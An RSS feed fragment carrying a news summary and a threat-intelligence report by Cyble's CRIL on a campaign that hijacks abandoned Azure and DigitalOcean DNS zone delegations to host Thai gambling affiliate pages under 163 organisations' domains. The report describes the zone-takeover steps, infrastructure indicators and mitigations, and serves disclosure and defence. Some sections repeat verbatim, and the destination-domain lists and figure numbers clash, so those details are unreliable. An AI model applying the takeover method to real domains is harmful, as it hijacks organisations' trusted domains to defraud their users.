delegations, according to research from Cyble Research &amp; Intelligence Labs (CRIL). </span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>

<span data-contrast="auto">The ongoing SEO poisoning campaign has affected government agencies, healthcare organizations, financial institutions, universities, and critical infrastructure operators, allowing attackers to host Thai-language gambling content on trusted enterprise domains.</span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>
<h3 aria-level="2"><b><span data-contrast="none">How the SEO Poisoning Campaign Works</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">Researchers found that the campaign primarily abuses abandoned <a href="https://cyble.com/blog/borrowed-trust-cloud-dns-takeover-thai-gambling-seo-poisoning/" target="_blank" rel="nofollow noopener">Azure DNS zone delegations</a>. When organizations retire cloud projects, DNS records that delegate subdomains to Azure are often left behind. Threat actors identify these orphaned delegations, recreate the abandoned DNS zones under new Azure subscriptions, and gain authority over the affected subdomains.</span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>

<span data-contrast="auto">Using this method, the attackers deploy a Next.js-based Thai-language gambling kit protected by valid Let's Encrypt wildcard certificates. As a result, users, browsers, and <a href="https://thecyberexpress.com/zero-day-fingerprinting-attack-on-adobe-reader/" target="_blank" rel="noopener">search engines</a> see what appears to be legitimate content hosted under trusted corporate domains.</span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>

<span data-contrast="auto">At the time of publication, 161 of the 163 affected organizations remained actively compromised.</span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>
<h3 aria-level="2"><b><span data-contrast="none">Discovery Leads to Global Exposure</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">The investigation began when CRIL identified unusual DNS activity on a Verizon subdomain environment. Researchers discovered more than 1,000 individually named subdomains serving Thai-language gambling content. Each page contains affiliate links designed to drive user registrations and generate commissions.</span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>

<span data-contrast="auto">Further analysis revealed the same infrastructure and content fingerprints across 162 additional organizations. More than 90 compromised enterprise subdomains shared the same Next.js build ID (QQOrXCFjoI6C9oF-4YVhl), favicon path (/img/ib99-hq.ico), and affiliate redirect destinations.</span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>
<h3 aria-level="2"><b><span data-contrast="none">Four DNS Abuse Methods Identified</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">The Thai gambling SEO poisoning operation relied on four compromise mechanisms:</span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>
<ul>
 	<li><span data-contrast="auto">Azure DNS zone takeover: More than 150 organizations were affected through abandoned Azure DNS delegations.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":0,"335559739":0}'> </span></li>
 	<li><span data-contrast="auto">DigitalOcean DNS zone takeover: Two organizations were compromised using a similar technique.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":0,"335559739":0}'> </span></li>
 	<li><span data-contrast="auto">Direct wildcard DNS misconfigurations: Two organizations had wildcard records pointing to attacker-controlled infrastructure.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":0,"335559739":0}'> </span></li>
 	<li><span data-contrast="auto">Mass A-record creation: Verizon's environment contained over 1,000 individual DNS records directing traffic to gambling content.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":0,"335559739":0}'> </span></li>
</ul>
<span data-contrast="auto">Certificate Transparency records showed some abandoned zones had remained dormant for years. One pharmaceutical company's <a href="https://thecyberexpress.com/xss-dom-risks-in-google-subdomains/" target="_blank" rel="noopener">subdomain</a> had not seen a legitimate certificate since October 2019 before attackers obtained a new certificate on April 11, 2026. Another electronics firm's platform showed a gap between February 2023 and April 10, 2026.</span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>
<h3 aria-level="2"><b><span data-contrast="none">Monetization and Backend Infrastructure</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">The SEO poisoning campaign generated revenue through affiliate tracking codes such as "ibiza99vip1," "bigwinv1," "seven77vip1," and "link99." Researchers observed server-side filtering that verified visitors originated from Thailand before redirecting them to gambling platforms.</span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>

<span data-contrast="auto">The campaign ultimately linked to four gambling destinations: ibiza99.autos, big888.store, seven77.click, and link99.nova555.rest. The gambling pages promoted deposits as low as 1 Thai Baht (approximately $0.03 USD) and included structured SEO content, FAQ schema, and mobile optimization features.</span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>

<span data-contrast="auto">Behind the delivery infrastructure, researchers uncovered a dedicated backend fleet of 103 servers located in Hong Kong under AS398478 (PEG <a class="wpil_keyword_link" href="https://cyble.com/tech-scam/" target="_blank" rel="noopener" title="TECH" data-wpil-keyword-link="linked" data-wpil-monitor-id="28668">TECH</a> INC). Evidence linking the servers included identical TLS fingerprints, shared certificates, matching HTTP hashes, uniform MySQL configurations, and common administration tools.</span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>
<h3 aria-level="2"><b><span data-contrast="none">Detection and Mitigation</span></b></h3>
<span data-contrast="auto">CRIL noted that traditional <a class="wpil_keyword_link" href="https://thecyberexpress.com/" title="security" data-wpil-keyword-link="linked" data-wpil-monitor-id="28669">security</a> tools are unlikely to detect this Thai gambling SEO poisoning activity because the attackers use valid certificates, reputable domains, and clean infrastructure. The researchers recommend continuous monitoring of Certificate Transparency logs, auditing all DNS delegations, and immediately removing abandoned NS records pointing to cloud providers.</span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>

<span data-contrast="auto">According to the report, the campaign demonstrates how a single DNS hygiene failure can be systematically exploited at scale. Rather than breaching networks or applications, the attackers capitalized on forgotten <a href="https://thecyberexpress.com/microsoft-storm-2949-azure-m365-cloud-breach/" target="_blank" rel="noopener">cloud configurations</a>, turning trusted domains into vehicles for a sophisticated SEO poisoning campaign targeting Thai search traffic.</span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Borrowed Trust – Systematic Exploitation of Abandoned Cloud DNS Delegations to serve Thai Gambling SEO Content]]></title>
<description><![CDATA[Executive Summary




Cyble Research & Intelligence Labs (CRIL) has identified an active SEO poisoning campaign exploiting abandoned cloud DNS zone delegations to serve Thai-language gambling content under the domain authority of reputed enterprise organizations. The campaign has compromised 163 ...]]></description>
<link>https://tsecurity.de/de/3592514/it-security-nachrichten/borrowed-trust-systematic-exploitation-of-abandoned-cloud-dns-delegations-to-serve-thai-gambling-seo-content/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3592514/it-security-nachrichten/borrowed-trust-systematic-exploitation-of-abandoned-cloud-dns-delegations-to-serve-thai-gambling-seo-content/</guid>
<pubDate>Fri, 12 Jun 2026 07:38:51 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1200" height="600" src="https://cyble.com/wp-content/uploads/2026/06/Blog-images-Cyble-2.jpg" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="Borrowed Trust, Cyble" decoding="async" srcset="https://cyble.com/wp-content/uploads/2026/06/Blog-images-Cyble-2.jpg 1200w, https://cyble.com/wp-content/uploads/2026/06/Blog-images-Cyble-2-300x150.jpg 300w, https://cyble.com/wp-content/uploads/2026/06/Blog-images-Cyble-2-1024x512.jpg 1024w, https://cyble.com/wp-content/uploads/2026/06/Blog-images-Cyble-2-768x384.jpg 768w" sizes="(max-width: 1200px) 100vw, 1200px" title="Borrowed Trust – Systematic Exploitation of Abandoned Cloud DNS Delegations to serve Thai Gambling SEO Content 1"></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading --></p>
<h2 class="wp-block-heading">Executive Summary</h2>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Cyble Research &amp; Intelligence Labs (CRIL) has identified an active SEO poisoning campaign exploiting abandoned cloud DNS zone delegations to serve Thai-language gambling content under the domain authority of reputed enterprise organizations. The campaign has compromised 163 organizations across 30+ countries, spanning federal government agencies, national healthcare systems, financial institutions, critical infrastructure operators, and major universities.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>The primary mechanism is the Azure DNS zone takeover. When enterprises decommission cloud infrastructure, NS delegations to Azure DNS zones are routinely left in place. The actor systematically identifies these abandoned delegations, claims the orphaned zones under a fresh Azure subscription, and deploys a Next.js gambling kit behind a valid Let's Encrypt wildcard TLS certificate, all resolving cleanly under the victim's own domain. A browser, a search engine, and a Thai user following a search result all see a page identical to a legitimate enterprise property.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>This report documents the full campaign architecture: the pivot chain from initial discovery through infrastructure attribution, the DNS compromise mechanisms observed, the structured affiliate monetization layer with server-side geographic filtering and dual-tier commission tracking, and a dedicated 103-node application backend in Hong Kong tied to a single Chinese operator by twelve independent technical evidence points. At the time of publication, 161 organizations remain actively compromised.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Initial Discovery</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>During an ongoing vulnerability assessment, CRIL identified an anomalous DNS resolution on the <strong>cardsforheroes.verizon.com</strong> subdomain environment. What initially appeared to be a single misconfigured endpoint turned out to be <strong>1000+</strong> <strong>individually named subdomains</strong>, each serving <strong>Thai-language online gambling</strong> content under <strong>Verizon's trusted domain authority</strong>.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Every subdomain followed a gambling brand keyword pattern with URL-encoded Thai characters confirming the intended audience. All endpoints resolved to a single IP at <strong>OVH SAS (AS16276).</strong> Loading a representative endpoint revealed a fully rendered Next.js gambling application with outbound affiliate redirect links.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>It matched the structural similarity of 97 other enterprise subdomains across completely unrelated organizations. The affiliate referral parameter on every redirect established the monetization intent immediately: this was not defacement or <a href="https://cyble.com/knowledge-hub/what-is-malware/">malware</a> delivery, but a structured operation funneling Thai search traffic to gambling registrations for commission.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>The Verizon endpoint was not the campaign's origin. Following it, 162 other compromised organizations were exposed.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:image {"id":120442,"sizeSlug":"large","linkDestination":"none","align":"center"} --></p>
<figure class="wp-block-image aligncenter size-large"><img src="https://cyble.com/wp-content/uploads/2026/06/image-4-1024x771.png" alt="Figure 1: Screenshot of the compromised endpoint cod9[.]cardsforheroes[.]Verizon[.]com

Borrowed Trust" class="wp-image-120442"><figcaption class="wp-element-caption">Figure 1: Screenshot of the compromised endpoint cod9[.]cardsforheroes[.]Verizon[.]com</figcaption></figure>
<p><!-- /wp:image --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading --></p>
<h2 class="wp-block-heading">Background: The Vulnerability Class</h2>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p>Cloud infrastructure provisioning introduces a category of DNS misconfiguration that is structurally different from the record-level errors security teams routinely audit. When an enterprise provisions Azure resources for a project environment, a standard step is to delegate a subdomain to an Azure DNS zone by adding NS records in the parent DNS zone that point to Microsoft's nameservers for that environment. The zone lives inside the Azure subscription, the team manages its records there, and the project operates normally.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>"What consistently fails is the decommissioning step. When the project ends, and the Azure resources are deleted, the NS delegation in the parent DNS zone is not usually removed. It persists silently, pointing any DNS query for that subdomain to Azure nameservers that no longer serve authoritative records for it.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>In several cases identified during this investigation, these delegations had been left in place for over six years.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>The exploitability of this configuration depends on another condition: whether the Azure DNS zone for that subdomain is claimable by a new subscriber. Microsoft's zone-creation model has historically allowed any subscriber to register a zone by name under their own subscription. A zone abandoned with a canceled subscription can be recreated by a third party, who then inherits the delegated DNS authority that the enterprise's parent zone never revoked.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Our analysis of this campaign demonstrates that awareness has not translated into hygiene at an enterprise scale.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading --></p>
<h2 class="wp-block-heading">DNS Compromise Mechanisms</h2>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Four distinct mechanisms account for the 163 confirmed victims. Each exploits the same underlying failure: a DNS delegation that outlived the infrastructure it was created to serve.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:image {"id":120443,"sizeSlug":"large","linkDestination":"none","align":"center"} --></p>
<figure class="wp-block-image aligncenter size-large"><img src="https://cyble.com/wp-content/uploads/2026/06/image-5-1024x683.png" alt="" class="wp-image-120443"></figure>
<p><!-- /wp:image --></p>
<p><!-- wp:paragraph {"style":{"typography":{"textAlign":"center"}}} --></p>
<p class="has-text-align-center"></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading {"level":3} --></p>
<h3 class="wp-block-heading">Mechanism 1 — Azure DNS Zone Takeover (150+ Organizations)</h3>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>The actor identifies subdomains whose NS records still point to Azure DNS nameservers, even though the underlying subscription has been canceled or abandoned. A new Azure subscription is created, the orphaned zone is claimed by name, a wildcard A record is added that points all subdomains to a delivery IP, and ACME HTTP-01 validation is performed through the now-controlled DNS to obtain a Let's Encrypt wildcard certificate. One DNS record exposes every possible subdomain of the environment.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Direct authoritative DNS evidence confirms the mechanism. Querying Microsoft's own nameserver infrastructure returns the actor's wildcard A record. Zone SOA serials of 1 on confirmed victims establish that the zones were created from scratch by the actor, not modified from an existing state. Certificate Transparency logs confirm the dormancy periods:</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li>A major pharmaceutical company's pilot subdomain: last legitimate certificate October 2019, actor certificate April 11, 2026 — a 6.5-year gap</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li>A global electronics company's IoT platform: last legitimate certificate February 2023, actor certificate April 10, 2026</li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:paragraph --></p>
<p>The bulk of actor-obtained certificates cluster in April 2026, indicating a concentrated automated exploitation window applied across targets abandoned over multiple years.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading {"level":3} --></p>
<h3 class="wp-block-heading">Mechanism 2 — DigitalOcean DNS Zone Takeover (2 Organizations)</h3>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Two organizations, a US luxury furniture retailer and an Indian university, have their compromised subdomains delegated to DigitalOcean nameservers rather than Azure. Both carry wildcard records resolving to 38.127.8.49.</p>
<p>DigitalOcean's zone-claiming model carries the same structural vulnerability: abandoned DNS zones in canceled accounts become available for re-registration. The actor's tooling targets multiple cloud DNS providers.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading {"level":3} --></p>
<h3 class="wp-block-heading">Mechanism 3 — Direct Wildcard Misconfiguration (2 Organizations)</h3>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>A US energy company's development subdomain and a mobile payments platform's development subdomain both resolve via wildcard to 139.99.82.106, even though there is no cloud DNS zone delegation. Both use their own organizational nameservers, making cloud zone takeover mechanically impossible.</p>
<p>The wildcard records resolve from within the parent zone, indicating either an orphaned wildcard A record left in the organization's own DNS console when a project was decommissioned, or a direct DNS management access path the actor exploited. "A wildcard A record in the DNS console of a payments platform is a more direct access path than a cloud zone takeover.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading {"level":3} --></p>
<h3 class="wp-block-heading">Mechanism 3 — Direct Wildcard Misconfiguration (2 Organizations)</h3>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>A US energy company's development subdomain and a mobile payments platform's development subdomain both resolve via wildcard to 139.99.82.106, even though there is no cloud DNS zone delegation. Both use their own organizational nameservers, making cloud zone takeover mechanically impossible.</p>
<p>The wildcard records resolve from within the parent zone, indicating either an orphaned wildcard A record left in the organization's own DNS console when a project was decommissioned, or a direct DNS management access path the actor exploited. "A wildcard A record in the DNS console of a payments platform is a more direct access path than a cloud zone takeover.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading {"level":3} --></p>
<h3 class="wp-block-heading">Mechanism 4 — Per-Subdomain A Records (1 Organization)</h3>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>The Verizon environment represents a distinct approach: 1000+ individually named A records rather than a single wildcard. Each gambling-keyword subdomain is a separately created DNS entry pointing to 51.79.199.51. This implies either an automated DNS API script with zone-write access or a compromised DNS management credential that enabled bulk record creation.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading {"style":{"typography":{"textAlign":"left"}}} --></p>
<h2 class="wp-block-heading has-text-align-left"><strong>Technical Analysis</strong></h2>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph {"style":{"typography":{"textAlign":"center"}}} --></p>
<p class="has-text-align-center"><strong>Pivoting: From One Endpoint to 163 Organizations</strong></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:image {"id":120450,"width":"1024px","height":"auto","sizeSlug":"large","linkDestination":"none","align":"center"} --></p>
<figure class="wp-block-image aligncenter size-large is-resized"><img src="https://cyble.com/wp-content/uploads/2026/06/image-6-1024x945.png" alt="" class="wp-image-120450"></figure>
<p><!-- /wp:image --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Pivot 1: 51.79.199.51 — Primary Delivery Node and First Scope Expansion</strong></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>The first pivot came from the primary delivery IP itself. Cross-referencing 51.79.199.51 against passive DNS resolution data and page fingerprint matching returned over 90 enterprise subdomains serving identical content, confirmed by:</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li><strong>Identical Next.js build ID</strong>: QQOrXCFjoI6C9oF-4YVhl</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Identical favicon path:</strong> /img/ib99-hq.ico</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li>Outbound affiliate redirects to the same <strong>three destination domains</strong> across every result</li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:paragraph --></p>
<p>Every result was a subdomain of a legitimately owned enterprise domain with a clean reputation. Standard <a href="https://cyble.com/knowledge-hub/what-is-a-threat-intelligence-feed/">threat intelligence feeds</a> returned no signal on any of them. The shared page fingerprint expanded the confirmed victim set from 1 organization to over 90 in a single query.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:image {"id":120457,"sizeSlug":"large","linkDestination":"none","align":"center"} --></p>
<figure class="wp-block-image aligncenter size-large"><img src="https://cyble.com/wp-content/uploads/2026/06/image-18-1024x565.png" alt="" class="wp-image-120457"><figcaption class="wp-element-caption">Figure 2: Thai-language gambling page served from a compromised enterprise subdomain, advertising free credits with no deposit required.</figcaption></figure>
<p><!-- /wp:image --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Pivot 2: 139.99.82.106 and 38.127.8.49 — Secondary and Tertiary Delivery Nodes</strong></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Passive DNS resolution data against AS16276 (OVH) surfaced two additional delivery IPs operating in parallel. Both served the identical gambling kit with the same build fingerprint across a partially overlapping but distinct victim set. Government agencies, healthcare organizations, and several non-Azure takeover victims routed through these two nodes rather than the primary. Together, the three OVH nodes account for the full 163-organization victim estate. All three presented clean IP reputations, no prior association with threat actors, and standard deployment signatures at the surface level.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:image {"id":120458,"sizeSlug":"large","linkDestination":"none","align":"center"} --></p>
<figure class="wp-block-image aligncenter size-large"><img src="https://cyble.com/wp-content/uploads/2026/06/image-19-1024x565.png" alt="Figure 2: Compromised endpoint pointing to “38[.]127[.]8[.]49”" class="wp-image-120458"><figcaption class="wp-element-caption">Figure 3: Compromised endpoint pointing to “38[.]127[.]8[.]49”</figcaption></figure>
<p><!-- /wp:image --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Pivot 3: 38.173.56.218 — The JARM Anomaly That Exposed the Backend</strong></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>JARM TLS fingerprinting against the primary delivery node returned thousands of global matches, nearly all of them generic shared hosting providers. One result stood apart by every observable metric: 38.173.56.218 in Hong Kong, AS398478 (PEG TECH INC), presenting:</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li>A ThinkPHP application framework error on port 443</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li>A Chinese server management panel certificate identity on port 21</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li>MySQL 5.7.44-log on port 3306</li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:paragraph --></p>
<p>Where every other JARM match represented commodity hosting, this node showed a purpose-built application stack managed from mainland China. This was the single point of entry from the OVH delivery layer into the backend infrastructure. Figures 2 and 3 showcase these using findings from <a href="https://odin.io/">ODIN by Cyble</a>.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Affiliate Architecture: How the Campaign Monetizes</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Every destination redirect carries a ?rc= affiliate code — ibiza99vip1, bigwinv1, link99, or seven77vip1 — that attributes completed registrations to the actor and triggers a commission payout from the destination platform. This is standard affiliate marketing infrastructure; legal and illegal gambling operations use it. A server-side layer beneath the visible code separates this campaign from simple redirect farms. A POST request intercepted at a live endpoint returned this before any redirect was issued:</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li>"<strong>status</strong>": "ok",</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li> "<strong>msg</strong>": "TH - Referrer verified",</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li> "<strong>data</strong>": { "referrer": "link99" },</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li> "<strong>x-token":</strong> ""
</li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:paragraph --></p>
<p>The backend validates geographic origin server-side. Requests from outside Thailand are not redirected, keeping traffic focused and limiting scanner exposure. The link99 identifier is a sub-affiliate publisher ID that sits above the ?rc= codes in the platform's tracking hierarchy.</p>
<p>The actor earns at both tiers: publisher-level credit under link99 for delivering Thai traffic, and a per-registration payout under the ?rc= code for each conversion. The two layers are independent — campaign codes can rotate while link99 persists as the actor's permanent platform identity.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:image {"id":120466,"sizeSlug":"large","linkDestination":"none","align":"center"} --></p>
<figure class="wp-block-image aligncenter size-large"><img src="https://cyble.com/wp-content/uploads/2026/06/image-8-1024x650.png" alt="Figure 4: 5,547 results matching the JARM hash on ODIN (source: ODIN by Cyble)" class="wp-image-120466"><figcaption class="wp-element-caption">Figure 4: 5,547 results matching the JARM hash on ODIN (source: ODIN by Cyble)</figcaption></figure>
<p><!-- /wp:image --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Pivoting on the Let's Encrypt certificate presented by this node, issued to broker-xm.com, returned 103 IPs across seven contiguous /24 subnets in 38.173.0.0/16, all within AS398478. A single certificate deployed across 103 servers in a wholesale-allocated IP block produced the complete backend fleet inventory from one certificate query.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:image {"id":120467,"sizeSlug":"large","linkDestination":"none","align":"center"} --></p>
<figure class="wp-block-image aligncenter size-large"><img src="https://cyble.com/wp-content/uploads/2026/06/image-9-1024x573.png" alt="Figure 5: Results for Cert CN-&gt;broker-xm.com showcasing 200 hits from Hong Kong with the IP range 38.173.0.0/16 (source: ODIN by Cyble)" class="wp-image-120467"><figcaption class="wp-element-caption">Figure 5: Results for Cert CN-&gt;broker-xm.com showcasing 200 hits from Hong Kong with the IP range 38.173.0.0/16 (source: ODIN by Cyble)</figcaption></figure>
<p><!-- /wp:image --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading {"level":4} --></p>
<h4 class="wp-block-heading"><strong>Affiliate Architecture: How the Campaign Monetizes</strong></h4>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Every destination redirect carries a ?rc= affiliate code — ibiza99vip1, bigwinv1, link99, or seven77vip1 — that attributes completed registrations to the actor and triggers a commission payout from the destination platform. This is standard affiliate marketing infrastructure; legal and illegal gambling operations use it. A server-side layer beneath the visible code separates this campaign from simple redirect farms. A POST request intercepted at a live endpoint returned this before any redirect was issued:</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li>"<strong>status</strong>": "ok",</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li> "<strong>msg</strong>": "TH - Referrer verified",</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li> "<strong>data</strong>": { "referrer": "link99" },</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li> "<strong>x-token":</strong> ""
</li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:paragraph --></p>
<p>The backend validates geographic origin server-side. Requests from outside Thailand are not redirected, keeping traffic focused and limiting scanner exposure. The link99 identifier is a sub-affiliate publisher ID that sits above the ?rc= codes in the platform's tracking hierarchy.</p>
<p>The actor earns at both tiers: publisher-level credit under link99 for delivering Thai traffic, and a per-registration payout under the ?rc= code for each conversion. The two layers are independent — campaign codes can rotate while link99 persists as the actor's permanent platform identity.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:image {"id":120469,"sizeSlug":"large","linkDestination":"none","align":"center"} --></p>
<figure class="wp-block-image aligncenter size-large"><img src="https://cyble.com/wp-content/uploads/2026/06/login-page-1024x562.png" alt="Figure 6 : Phishing page Redirected to hxxps://link99.nova555.rest/register/ with link99 as a referral code" class="wp-image-120469"><figcaption class="wp-element-caption">Figure 6 : Phishing page Redirected to hxxps://link99.nova555.rest/register/ with link99 as a referral code</figcaption></figure>
<p><!-- /wp:image --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Four destination platforms have been confirmed — ibiza99.autos, big888.store, seven77.click, and stillsunday.pl. These domains are white-label deployments on a shared codebase, as confirmed by identical CSS hashes and JavaScript resilience logic across all three, except big888.store, which carries active Google Search Console verification, indicating the platform operator runs its own independent SEO operation beyond this campaign. Each platform maintains its own <strong>appbox.* CDN subdomains</strong>, a fourth infrastructure layer entirely separate from the delivery nodes, backend fleet, and victim domains.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:image {"id":120470,"sizeSlug":"large","linkDestination":"none","align":"center"} --></p>
<figure class="wp-block-image aligncenter size-large"><img src="https://cyble.com/wp-content/uploads/2026/06/details-1024x565.png" alt="Figure 7: Asking for banking information post login via Thailand phone number
" class="wp-image-120470"><figcaption class="wp-element-caption">Figure 7: Asking for banking information post login via Thailand phone number<br></figcaption></figure>
<p><!-- /wp:image --></p>
<p><!-- wp:paragraph --></p>
